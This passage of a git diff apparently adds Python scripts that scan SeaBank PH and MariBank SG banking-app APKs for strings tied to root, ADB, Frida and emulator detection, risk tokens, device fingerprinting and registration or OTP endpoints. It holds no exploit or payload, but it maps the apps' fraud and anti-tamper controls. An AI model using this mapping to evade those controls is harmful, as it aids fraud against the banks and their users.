if any(k in s.lower() for k in ["1201", "error", "kill", "finish", "risk", "root", "code", "handle"]):
|
||||
print(" ", s)
|
||||
idx += 1
|
||||
13
reverse/scripts/scan_error_strings.py
Normal file
13
reverse/scripts/scan_error_strings.py
Normal file
@@ -0,0 +1,13 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
import zipfile
|
||||
|
||||
APK = r"C:\Users\Administrator\Desktop\notiMessage\reverse\apks\seabank_ph_base.apk"
|
||||
needles = [b"An error has occurred", b"-1201", b"8424 8050", b"Error --", b"killProcess", b"finishAffinity"]
|
||||
with zipfile.ZipFile(APK) as zf:
|
||||
data = b"".join(zf.read(n) for n in zf.namelist() if n.endswith(".dex"))
|
||||
for n in needles:
|
||||
idx = data.find(n)
|
||||
if idx >= 0:
|
||||
ctx = re.sub(rb"[^\x20-\x7e]+", b" ", data[max(0, idx - 60): idx + len(n) + 80])
|
||||
print(n.decode(), "->", ctx.decode())
|
||||
17
reverse/scripts/scan_json_lib.py
Normal file
17
reverse/scripts/scan_json_lib.py
Normal file
@@ -0,0 +1,17 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "seabank_ph_base.apk"
|
||||
libs = [
|
||||
b"com/google/gson/Gson",
|
||||
b"com/fasterxml/jackson",
|
||||
b"com/alibaba/fastjson",
|
||||
b"org/json/JSONObject",
|
||||
b"okhttp3/RequestBody",
|
||||
b"retrofit2/",
|
||||
]
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
data = b"".join(zf.read(n) for n in zf.namelist() if n.endswith(".dex"))
|
||||
for lib in libs:
|
||||
print(lib.decode(), data.count(lib))
|
||||
82
reverse/scripts/scan_maribank_sg.py
Normal file
82
reverse/scripts/scan_maribank_sg.py
Normal file
@@ -0,0 +1,82 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
"""Quick DEX scan for MariBank SG detection / auth strings."""
|
||||
import re
|
||||
import sys
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "maribank_sg_base.apk"
|
||||
if len(sys.argv) > 1:
|
||||
APK = Path(sys.argv[1])
|
||||
|
||||
needles = [
|
||||
b"ADB",
|
||||
b"Wireless ADB",
|
||||
b"USB debugging",
|
||||
b"Wireless debugging",
|
||||
b"Does not support root",
|
||||
b"root device",
|
||||
b"rooted",
|
||||
b"jailbroken",
|
||||
b"safemode",
|
||||
b"SafeMode",
|
||||
b"shpssdk",
|
||||
b"SHPSSDK",
|
||||
b"getRiskToken",
|
||||
b"requestDefense",
|
||||
b"BkeApplication",
|
||||
b"errorcodehandler",
|
||||
b"4067012",
|
||||
b"4067004",
|
||||
b"/uapi/",
|
||||
b"/dfp/",
|
||||
b"register",
|
||||
b"login",
|
||||
b"auth/precheck",
|
||||
]
|
||||
|
||||
class_needles = [
|
||||
rb"Lcom/shopee/bke/[\w$/]+;",
|
||||
rb"Lcom/shopee/shpssdk[\w$/]*;",
|
||||
]
|
||||
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
data = b"".join(zf.read(n) for n in zf.namelist() if n.endswith(".dex"))
|
||||
print("APK:", APK.name, "dex bytes:", len(data))
|
||||
print("\n=== string hits ===")
|
||||
for n in needles:
|
||||
c = data.count(n)
|
||||
if c:
|
||||
print(f" {n.decode(errors='replace')!r}: {c}")
|
||||
|
||||
print("\n=== api paths (sample) ===")
|
||||
paths = sorted(set(m.group().decode() for m in re.finditer(rb"/v[0-9]/[a-zA-Z0-9_/-]{4,80}", data)))
|
||||
for p in paths:
|
||||
pl = p.lower()
|
||||
if any(k in pl for k in ("auth", "login", "register", "otp", "dfp", "user", "mobile", "pin")):
|
||||
print(" ", p)
|
||||
|
||||
print("\n=== shopee/bke classes (sample) ===")
|
||||
classes = sorted(set(m.group().decode() for m in re.finditer(rb"Lcom/shopee/bke/[\w$/]{8,120};", data)))
|
||||
keywords = ("safemode", "risk", "adb", "debug", "root", "error", "user", "digitalbank", "Application")
|
||||
shown = 0
|
||||
for c in classes:
|
||||
cl = c.lower()
|
||||
if any(k in cl for k in keywords):
|
||||
print(" ", c)
|
||||
shown += 1
|
||||
if shown >= 40:
|
||||
break
|
||||
print(f" ... total bke classes: {len(classes)}")
|
||||
|
||||
print("\n=== context: ADB Detected ===")
|
||||
idx = data.find(b"ADB")
|
||||
while idx >= 0 and idx < len(data):
|
||||
chunk = data[max(0, idx - 30) : idx + 80]
|
||||
if b"Detect" in chunk or b"debug" in chunk.lower() or b"Wireless" in chunk:
|
||||
s = re.sub(rb"[^\x20-\x7e]+", b" ", chunk).decode("ascii", "ignore").strip()
|
||||
if len(s) > 20:
|
||||
print(" ", s[:120])
|
||||
idx = data.find(b"ADB", idx + 1)
|
||||
if idx > 0 and data.find(b"ADB", idx + 1) == -1:
|
||||
break
|
||||
20
reverse/scripts/scan_method_hints.py
Normal file
20
reverse/scripts/scan_method_hints.py
Normal file
@@ -0,0 +1,20 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
import zipfile
|
||||
|
||||
APK = r"C:\Users\Administrator\Desktop\notiMessage\reverse\apks\seabank_ph_base.apk"
|
||||
METHOD_HINTS = [
|
||||
b"isRoot", b"isRooted", b"jailbroken", b"checkRoot", b"detectRoot",
|
||||
b"detectXposed", b"checkXposed", b"isXposed", b"checkFrida", b"isEmulator",
|
||||
b"checkIntegrity", b"SafeMode", b"needSafeMode", b"enterSafeMode",
|
||||
b"showRoot", b"rooted", b"factory settings",
|
||||
]
|
||||
|
||||
with zipfile.ZipFile(APK) as zf:
|
||||
for name in sorted(zf.namelist()):
|
||||
if not name.endswith(".dex"):
|
||||
continue
|
||||
data = zf.read(name)
|
||||
hits = [h.decode("ascii", "ignore") for h in METHOD_HINTS if h in data]
|
||||
if hits:
|
||||
print(name, ":", ", ".join(hits))
|
||||
28
reverse/scripts/scan_needle_context.py
Normal file
28
reverse/scripts/scan_needle_context.py
Normal file
@@ -0,0 +1,28 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
import zipfile
|
||||
|
||||
APK = r"C:\Users\Administrator\Desktop\notiMessage\reverse\apks\seabank_ph_base.apk"
|
||||
TARGETS = [b"isXposed", b"isRooted", b"checkRoot", b"isRoot", b"isEmulator", b"jailbroken"]
|
||||
|
||||
with zipfile.ZipFile(APK) as zf:
|
||||
for dex_name in ["classes6.dex", "classes9.dex", "classes15.dex", "classes3.dex"]:
|
||||
data = zf.read(dex_name)
|
||||
print("=== %s ===" % dex_name)
|
||||
for needle in TARGETS:
|
||||
if needle not in data:
|
||||
continue
|
||||
idx = 0
|
||||
shown = 0
|
||||
while shown < 8:
|
||||
i = data.find(needle, idx)
|
||||
if i < 0:
|
||||
break
|
||||
s = max(0, i - 80)
|
||||
e = min(len(data), i + 80)
|
||||
chunk = re.sub(rb"[^\x20-\x7e]+", b" ", data[s:e]).decode("ascii", "ignore")
|
||||
if "shopee" in chunk.lower() or "seabank" in chunk.lower() or "bke" in chunk.lower() or "alc" in chunk.lower():
|
||||
print(" ", needle.decode(), "->", chunk.strip())
|
||||
shown += 1
|
||||
idx = i + 1
|
||||
print()
|
||||
28
reverse/scripts/scan_register_api.py
Normal file
28
reverse/scripts/scan_register_api.py
Normal file
@@ -0,0 +1,28 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "seabank_ph_base.apk"
|
||||
needles = [
|
||||
b"GlobalAuthErrorImpl",
|
||||
b"errorcodehandler",
|
||||
b"sendOtp",
|
||||
b"register",
|
||||
b"verifyMobile",
|
||||
b"mobile/register",
|
||||
b"preRegister",
|
||||
b"riskToken",
|
||||
b"risk_token",
|
||||
b"8424 8050",
|
||||
b"-1201",
|
||||
]
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
data = b"".join(zf.read(n) for n in zf.namelist() if n.endswith(".dex"))
|
||||
for n in needles:
|
||||
print(n.decode(), data.count(n))
|
||||
print("\n--- urls ---")
|
||||
for m in re.finditer(rb"https?://[a-zA-Z0-9._/-]{8,120}", data):
|
||||
u = m.group().decode()
|
||||
if "seabank" in u or "register" in u or "otp" in u or "mobile" in u:
|
||||
print(u)
|
||||
24
reverse/scripts/scan_register_class.py
Normal file
24
reverse/scripts/scan_register_class.py
Normal file
@@ -0,0 +1,24 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "seabank_ph_base.apk"
|
||||
needles = [
|
||||
b"v2/register",
|
||||
b"/register",
|
||||
b"RegisterRequest",
|
||||
b"registerPhone",
|
||||
b"signUp",
|
||||
b"preRegister",
|
||||
b"riskToken",
|
||||
]
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
data = b"".join(zf.read(n) for n in zf.namelist() if n.endswith(".dex"))
|
||||
for n in needles:
|
||||
c = data.count(n)
|
||||
if c:
|
||||
print(n.decode(), c)
|
||||
print("\n--- classes near register ---")
|
||||
for m in re.finditer(rb"Lcom/shopee/bke/[^;]{0,120}register[^;]{0,40};", data, re.I):
|
||||
print(m.group().decode()[1:-1].replace("/", "."))
|
||||
15
reverse/scripts/scan_register_endpoint.py
Normal file
15
reverse/scripts/scan_register_endpoint.py
Normal file
@@ -0,0 +1,15 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "seabank_ph_base.apk"
|
||||
needle = b"uapi/v2/register"
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
data = b"".join(zf.read(n) for n in zf.namelist() if n.endswith(".dex"))
|
||||
idx = data.find(needle)
|
||||
print("found at", idx)
|
||||
if idx >= 0:
|
||||
ctx = data[max(0, idx - 400): idx + 400]
|
||||
for m in re.finditer(rb"[\x20-\x7e]{4,120}", ctx):
|
||||
print(" ", m.group().decode("latin1"))
|
||||
29
reverse/scripts/scan_register_paths.py
Normal file
29
reverse/scripts/scan_register_paths.py
Normal file
@@ -0,0 +1,29 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "seabank_ph_base.apk"
|
||||
needles = [
|
||||
b"mobile",
|
||||
b"register",
|
||||
b"otp",
|
||||
b"signUp",
|
||||
b"signup",
|
||||
b"preCheck",
|
||||
b"checkMobile",
|
||||
b"sendSms",
|
||||
b"verifyPhone",
|
||||
b"4067004",
|
||||
b"4067",
|
||||
]
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
data = b"".join(zf.read(n) for n in zf.namelist() if n.endswith(".dex"))
|
||||
for n in needles:
|
||||
if n in data:
|
||||
print("hit", n.decode())
|
||||
print("\n--- api paths ---")
|
||||
for m in re.finditer(rb"/v[0-9]/[a-zA-Z0-9_/-]{6,80}", data):
|
||||
s = m.group().decode()
|
||||
if any(k in s.lower() for k in ("user", "auth", "register", "mobile", "otp", "sign", "risk", "phone")):
|
||||
print(s)
|
||||
24
reverse/scripts/scan_risk_fields.py
Normal file
24
reverse/scripts/scan_risk_fields.py
Normal file
@@ -0,0 +1,24 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "seabank_ph_base.apk"
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
data = b"".join(zf.read(n) for n in zf.namelist() if n.endswith(".dex"))
|
||||
for needle in [b"riskToken", b"risk_token", b"deviceToken", b"secToken", b"shpsToken", b"mobileNo", b"phoneNo"]:
|
||||
print(needle.decode(), data.count(needle))
|
||||
print("\n--- context riskToken ---")
|
||||
idx = 0
|
||||
while True:
|
||||
idx = data.find(b"riskToken", idx)
|
||||
if idx < 0:
|
||||
break
|
||||
ctx = data[max(0, idx - 60): idx + 120]
|
||||
for m in re.finditer(rb"[\x20-\x7e]{3,60}", ctx):
|
||||
s = m.group().decode("latin1")
|
||||
if any(k in s.lower() for k in ["risk", "token", "mobile", "phone", "register", "device"]):
|
||||
print(" ", s)
|
||||
idx += 1
|
||||
if idx > 5000000:
|
||||
break
|
||||
19
reverse/scripts/scan_risk_token_ctx.py
Normal file
19
reverse/scripts/scan_risk_token_ctx.py
Normal file
@@ -0,0 +1,19 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "seabank_ph_base.apk"
|
||||
needle = b"riskToken"
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
for name in zf.namelist():
|
||||
if not name.endswith(".dex"):
|
||||
continue
|
||||
data = zf.read(name)
|
||||
idx = data.find(needle)
|
||||
if idx < 0:
|
||||
continue
|
||||
ctx = data[max(0, idx - 300): idx + 300]
|
||||
print("===", name, "===")
|
||||
import re
|
||||
for m in re.finditer(rb"[\x20-\x7e]{4,100}", ctx):
|
||||
print(" ", m.group().decode("latin1"))
|
||||
42
reverse/scripts/scan_root.py
Normal file
42
reverse/scripts/scan_root.py
Normal file
@@ -0,0 +1,42 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
import sys
|
||||
import zipfile
|
||||
|
||||
KEYS = [
|
||||
b"rooted", b"jailbroken", b"RootBeer", b"isRoot", b"checkRoot", b"detectRoot",
|
||||
b"SafetyNet", b"PlayIntegrity", b"magisk", b"/su", b"tamper", b"safemode",
|
||||
b"SafeMode", b"xposed", b"lsposed", b"frida", b"emulator", b"debuggable",
|
||||
b"Integrity", b"jailbreak", b"factory settings", b"RiskDevice", b"DeviceRisk",
|
||||
b"root device", b"seabank", b"SeaBank", b"MariBank", b"alc", b"ALC",
|
||||
]
|
||||
|
||||
|
||||
def scan_apk(apk_path):
|
||||
with zipfile.ZipFile(apk_path) as zf:
|
||||
for name in sorted(zf.namelist()):
|
||||
if not name.endswith(".dex"):
|
||||
continue
|
||||
data = zf.read(name)
|
||||
print("=== %s (%d bytes) ===" % (name, len(data)))
|
||||
hits = set()
|
||||
for key in KEYS:
|
||||
start = 0
|
||||
while True:
|
||||
idx = data.find(key, start)
|
||||
if idx < 0:
|
||||
break
|
||||
s = max(0, idx - 40)
|
||||
e = min(len(data), idx + len(key) + 60)
|
||||
chunk = re.sub(rb"[^\x20-\x7e]+", b" ", data[s:e])
|
||||
chunk = chunk.decode("ascii", "ignore").strip()
|
||||
if len(chunk) > 8:
|
||||
hits.add(chunk)
|
||||
start = idx + 1
|
||||
for hit in sorted(hits):
|
||||
print(" ", hit)
|
||||
print()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
scan_apk(sys.argv[1] if len(sys.argv) > 1 else "reverse/apks/seabank_ph_base.apk")
|
||||
19
reverse/scripts/scan_root_dialog.py
Normal file
19
reverse/scripts/scan_root_dialog.py
Normal file
@@ -0,0 +1,19 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import zipfile
|
||||
|
||||
APK = r"C:\Users\Administrator\Desktop\notiMessage\reverse\apks\seabank_ph_base.apk"
|
||||
needles = [
|
||||
b"rooted or jailbroken",
|
||||
b"factory settings",
|
||||
b"cannot be accessed",
|
||||
b"bke_toast_not_support_root",
|
||||
b"not_support_root",
|
||||
]
|
||||
with zipfile.ZipFile(APK) as zf:
|
||||
for name in zf.namelist():
|
||||
if not (name.endswith(".dex") or name.endswith(".xml") or name.endswith(".json")):
|
||||
continue
|
||||
data = zf.read(name)
|
||||
for n in needles:
|
||||
if n in data:
|
||||
print(name, n.decode())
|
||||
20
reverse/scripts/scan_root_string_ctx.py
Normal file
20
reverse/scripts/scan_root_string_ctx.py
Normal file
@@ -0,0 +1,20 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
import zipfile
|
||||
|
||||
APK = r"C:\Users\Administrator\Desktop\notiMessage\reverse\apks\seabank_ph_base.apk"
|
||||
with zipfile.ZipFile(APK) as zf:
|
||||
for name in zf.namelist():
|
||||
if not name.endswith(".dex"):
|
||||
continue
|
||||
data = zf.read(name)
|
||||
if b"bke_toast_not_support_root" not in data:
|
||||
continue
|
||||
print("===", name, "===")
|
||||
idx = data.find(b"bke_toast_not_support_root")
|
||||
ctx = re.sub(rb"[^\x20-\x7e]+", b" ", data[max(0, idx - 120): idx + 200])
|
||||
print(ctx.decode())
|
||||
for m in re.finditer(rb"Lcom/shopee/bke[^;]{0,120};", data[max(0, idx - 800): idx + 800]):
|
||||
s = m.group().decode()[1:-1].replace("/", ".")
|
||||
if "dialog" in s.lower() or "root" in s.lower() or "safemode" in s.lower() or "risk" in s.lower() or "toast" in s.lower():
|
||||
print(" ", s)
|
||||
44
reverse/scripts/scan_security_classes.py
Normal file
44
reverse/scripts/scan_security_classes.py
Normal file
@@ -0,0 +1,44 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
"""Scan dex class descriptors for Shopee/SeaBank security SDK."""
|
||||
import re
|
||||
import sys
|
||||
import zipfile
|
||||
|
||||
TARGETS = (
|
||||
"safemode",
|
||||
"SafeMode",
|
||||
"alc/",
|
||||
"ALC",
|
||||
"integrity",
|
||||
"rooted",
|
||||
"jailbroken",
|
||||
"RootBeer",
|
||||
"xposed",
|
||||
"frida",
|
||||
"isRoot",
|
||||
"detectRoot",
|
||||
)
|
||||
|
||||
|
||||
def scan(apk_path):
|
||||
with zipfile.ZipFile(apk_path) as zf:
|
||||
for name in sorted(zf.namelist()):
|
||||
if not name.endswith(".dex"):
|
||||
continue
|
||||
data = zf.read(name)
|
||||
classes = set(re.findall(rb"L[a-zA-Z0-9_$/]+;", data))
|
||||
hits = []
|
||||
for raw in classes:
|
||||
s = raw.decode("ascii", "ignore")
|
||||
low = s.lower()
|
||||
if any(t.lower() in low for t in TARGETS):
|
||||
hits.append(s[1:-1].replace("/", "."))
|
||||
if hits:
|
||||
print("=== %s ===" % name)
|
||||
for h in sorted(set(hits)):
|
||||
print(h)
|
||||
print()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
scan(sys.argv[1])
|
||||
28
reverse/scripts/scan_sg_crypto_dfp.py
Normal file
28
reverse/scripts/scan_sg_crypto_dfp.py
Normal file
@@ -0,0 +1,28 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "maribank_sg_base.apk"
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
d = b"".join(zf.read(n) for n in zf.namelist() if n.endswith(".dex"))
|
||||
|
||||
for kw in [
|
||||
b"CharacterCrypto",
|
||||
b"IV_Monitor",
|
||||
b"getDfpByMMKV",
|
||||
b"NativeEncryptUtilsWrapper",
|
||||
b"dfp/v1/data/report",
|
||||
b"com/shopee/bke/lib/jni/utils/d",
|
||||
]:
|
||||
print(kw.decode(), d.count(kw))
|
||||
|
||||
print("\ndfp-related classes:")
|
||||
for m in re.finditer(rb"Lcom/[^;]{0,120}[Dd][Ff][Pp][^;]{0,40};", d):
|
||||
print(m.group().decode()[1:-1].replace("/", "."))
|
||||
|
||||
print("\nMonitor classes:")
|
||||
for m in re.finditer(rb"Lcom/[^;]{0,120}Monitor[^;]{0,40};", d):
|
||||
s = m.group().decode()[1:-1].replace("/", ".")
|
||||
if "bke" in s or "shps" in s:
|
||||
print(s)
|
||||
20
reverse/scripts/scan_sg_dfp.py
Normal file
20
reverse/scripts/scan_sg_dfp.py
Normal file
@@ -0,0 +1,20 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "maribank_sg_base.apk"
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
data = b"".join(zf.read(n) for n in zf.namelist() if n.endswith(".dex"))
|
||||
|
||||
for needle in [b"dfp is empty", b"getDfp", b"DfpManager", b"DeviceFingerprint"]:
|
||||
print("\n===", needle.decode(), "count=", data.count(needle))
|
||||
idx = 0
|
||||
for _ in range(5):
|
||||
idx = data.find(needle, idx)
|
||||
if idx < 0:
|
||||
break
|
||||
ctx = data[max(0, idx - 120) : idx + 200]
|
||||
for m in re.finditer(rb"Lcom/[^;\x00]{5,140};", ctx):
|
||||
print(" ", m.group().decode()[1:-1].replace("/", "."))
|
||||
idx += len(needle)
|
||||
35
reverse/scripts/scan_sg_split_utils.py
Normal file
35
reverse/scripts/scan_sg_split_utils.py
Normal file
@@ -0,0 +1,35 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
"""Find jni/utils and safemode classes across SG split dex files."""
|
||||
import re
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "maribank_sg_base.apk"
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
for dex in sorted(n for n in zf.namelist() if n.endswith(".dex")):
|
||||
d = zf.read(dex)
|
||||
needles = [
|
||||
b"Lcom/shopee/bke/lib/jni/utils/",
|
||||
b"Lcom/shopee/bke/lib/safemode/",
|
||||
b"CharacterCrypto",
|
||||
b"rdVerifyInfo",
|
||||
]
|
||||
if not any(n in d for n in needles):
|
||||
continue
|
||||
print("\n===", dex, "===")
|
||||
for pat in [
|
||||
rb"Lcom/shopee/bke/lib/jni/utils/[^;]{1,40};",
|
||||
rb"Lcom/shopee/bke/lib/safemode/[^;]{1,60};",
|
||||
rb"Lcom/shopee/bke/biz/base/risk/[^;]{1,40};",
|
||||
]:
|
||||
cs = sorted(
|
||||
set(
|
||||
m.group().decode()[1:-1].replace("/", ".")
|
||||
for m in re.finditer(pat, d)
|
||||
)
|
||||
)
|
||||
for c in cs:
|
||||
if ".R" in c and c.endswith(".R"):
|
||||
continue
|
||||
if "$" in c or not c.endswith(".R"):
|
||||
print(" ", c)
|
||||
33
reverse/scripts/scan_sg_splits.py
Normal file
33
reverse/scripts/scan_sg_splits.py
Normal file
@@ -0,0 +1,33 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APKS = Path(__file__).resolve().parent.parent / "apks"
|
||||
for name in ["maribank_sg_base.apk", "maribank_sg_arm64.apk"]:
|
||||
p = APKS / name
|
||||
if not p.exists():
|
||||
print(name, "missing")
|
||||
continue
|
||||
with zipfile.ZipFile(p) as z:
|
||||
dex = [n for n in z.namelist() if n.endswith(".dex")]
|
||||
print("\n", name, "dex:", dex)
|
||||
if not dex:
|
||||
so = [n for n in z.namelist() if n.endswith(".so")][:5]
|
||||
print(" native:", so)
|
||||
continue
|
||||
d = b"".join(z.read(n) for n in dex)
|
||||
for needle in [
|
||||
b"safemode.b",
|
||||
b"safemode/catchs",
|
||||
b"safemode/util",
|
||||
b"USB_ADB",
|
||||
b"RISK_USB",
|
||||
b"lib/safemode/",
|
||||
]:
|
||||
print(" ", needle.decode(), d.count(needle))
|
||||
classes = sorted(set(m.group().decode()[1:-1].replace("/", ".")
|
||||
for m in re.finditer(rb"Lcom/shopee/bke/lib/safemode/[^;]{1,80};", d)))
|
||||
for c in classes:
|
||||
if not c.endswith(".R") and ".R$" not in c:
|
||||
print(" ", c)
|
||||
34
reverse/scripts/scan_sg_unavailable.py
Normal file
34
reverse/scripts/scan_sg_unavailable.py
Normal file
@@ -0,0 +1,34 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "maribank_sg_base.apk"
|
||||
needles = [
|
||||
b"system is currently unavailable",
|
||||
b"currently unavailable",
|
||||
b"Unexpected error occurred",
|
||||
b"Please try again later",
|
||||
b"3100012",
|
||||
b"deviceFingerprint",
|
||||
b"preCheck",
|
||||
b"preRegister",
|
||||
b"getDfp",
|
||||
b"dfp is empty",
|
||||
b"dfpReady",
|
||||
b"isDfpReady",
|
||||
b"IV_Monitor",
|
||||
b"register scene",
|
||||
b"GlobalAuthError",
|
||||
b"ErrorFlowHelper",
|
||||
]
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
data = b"".join(
|
||||
zf.read(n)
|
||||
for n in zf.namelist()
|
||||
if n.endswith((".dex", ".jsbundle", ".json"))
|
||||
)
|
||||
for n in needles:
|
||||
print(n.decode(), data.count(n))
|
||||
idx = data.find(b"currently unavailable")
|
||||
if idx >= 0:
|
||||
print("\ncontext:", data[max(0, idx - 100) : idx + 150])
|
||||
19
reverse/scripts/scan_shps_classes.py
Normal file
19
reverse/scripts/scan_shps_classes.py
Normal file
@@ -0,0 +1,19 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "seabank_ph_base.apk"
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
data = zf.read("classes11.dex")
|
||||
for pat in [b"loadLibrary", b"libshpssdk", b"JNI_OnLoad", b"RegisterNatives", b"native "]:
|
||||
print(pat.decode(), data.count(pat))
|
||||
print("\n--- classes with shpssdkbank ---")
|
||||
for m in re.finditer(rb"Lcom/shopee/shpssdkbank/[a-zA-Z0-9_$;/]+;", data):
|
||||
s = m.group().decode()
|
||||
if "uvu" in s or "SPS" in s or "SHPS" in s or "Native" in s:
|
||||
if s not in []:
|
||||
pass
|
||||
classes = sorted(set(m.group().decode()[1:-1].replace("/", ".") for m in re.finditer(rb"Lcom/shopee/shpssdkbank/[a-zA-Z0-9_$]+;", data)))
|
||||
for c in classes[:60]:
|
||||
print(c)
|
||||
31
reverse/scripts/scan_shps_methods.py
Normal file
31
reverse/scripts/scan_shps_methods.py
Normal file
@@ -0,0 +1,31 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
import zipfile
|
||||
|
||||
APK = r"C:\Users\Administrator\Desktop\notiMessage\reverse\apks\seabank_ph_base.apk"
|
||||
classes = [
|
||||
b"Lcom/shopee/shpssdk/SPSRiskTokenCallback;",
|
||||
b"Lcom/shopee/shpssdkbank/SPSRiskTokenCallback;",
|
||||
b"Lcom/shopee/shpssdk/SPSResultCallback;",
|
||||
b"Lcom/shopee/shpssdkbank/SPSResultCallback;",
|
||||
b"Lcom/shopee/shpssdk/SHPSSDK;",
|
||||
b"Lcom/shopee/shpssdkbank/SPSAssessRisk;",
|
||||
]
|
||||
with zipfile.ZipFile(APK) as zf:
|
||||
data = b"".join(zf.read(n) for n in zf.namelist() if n.endswith(".dex"))
|
||||
for c in classes:
|
||||
name = c.decode()[1:-1].replace("/", ".")
|
||||
print("===", name, "===")
|
||||
idx = 0
|
||||
while True:
|
||||
idx = data.find(c, idx)
|
||||
if idx < 0:
|
||||
break
|
||||
ctx = data[max(0, idx - 150): idx + 400]
|
||||
for m in re.finditer(rb"[a-zA-Z][a-zA-Z0-9_$]{2,40}", ctx):
|
||||
s = m.group().decode()
|
||||
if any(k in s.lower() for k in ["token", "risk", "result", "callback", "assess", "get", "on"]):
|
||||
if len(s) > 4:
|
||||
print(" ", s)
|
||||
idx += 1
|
||||
break
|
||||
41
reverse/scripts/scan_shps_native.py
Normal file
41
reverse/scripts/scan_shps_native.py
Normal file
@@ -0,0 +1,41 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
import subprocess
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "seabank_ph_base.apk"
|
||||
DEXDUMP = Path(r"C:\Users\Administrator\AppData\Local\Android\Sdk\build-tools\37.0.0\dexdump.exe")
|
||||
targets = [
|
||||
"Lcom/shopee/shpssdkbank/SHPSSDK;",
|
||||
"Lcom/shopee/shpssdk/SHPSSDK;",
|
||||
]
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
for dex_name in ["classes11.dex", "classes10.dex", "classes6.dex"]:
|
||||
tmp = Path(__file__).resolve().parent.parent / "tmp" / "tmp_scan.dex"
|
||||
tmp.write_bytes(zf.read(dex_name))
|
||||
out = subprocess.check_output(
|
||||
[str(DEXDUMP), "-d", str(tmp)], universal_newlines=True, errors="replace"
|
||||
)
|
||||
for target in targets:
|
||||
capture = False
|
||||
for line in out.splitlines():
|
||||
if f"Class descriptor : '{target}'" in line:
|
||||
capture = True
|
||||
print("===", dex_name, target, "===")
|
||||
elif capture and line.startswith(" Class descriptor"):
|
||||
break
|
||||
if capture and ("native" in line.lower() or "loadLibrary" in line
|
||||
or "System" in line and "load" in line):
|
||||
print(line.strip())
|
||||
if capture and "name :" in line and "type :" in line:
|
||||
pass
|
||||
if capture and "access : 0x0101" in line or (
|
||||
capture and "NATIVE" in line):
|
||||
print(line.strip())
|
||||
|
||||
# also grep dex binary for loadLibrary strings near shpssdk
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
data = zf.read("classes11.dex")
|
||||
for m in re.finditer(rb"libshpssdk[^\x00]{0,40}", data):
|
||||
print("str", m.group().decode("latin1"))
|
||||
23
reverse/scripts/scan_shps_token.py
Normal file
23
reverse/scripts/scan_shps_token.py
Normal file
@@ -0,0 +1,23 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
import zipfile
|
||||
|
||||
APK = r"C:\Users\Administrator\Desktop\notiMessage\reverse\apks\seabank_ph_base.apk"
|
||||
needles = [
|
||||
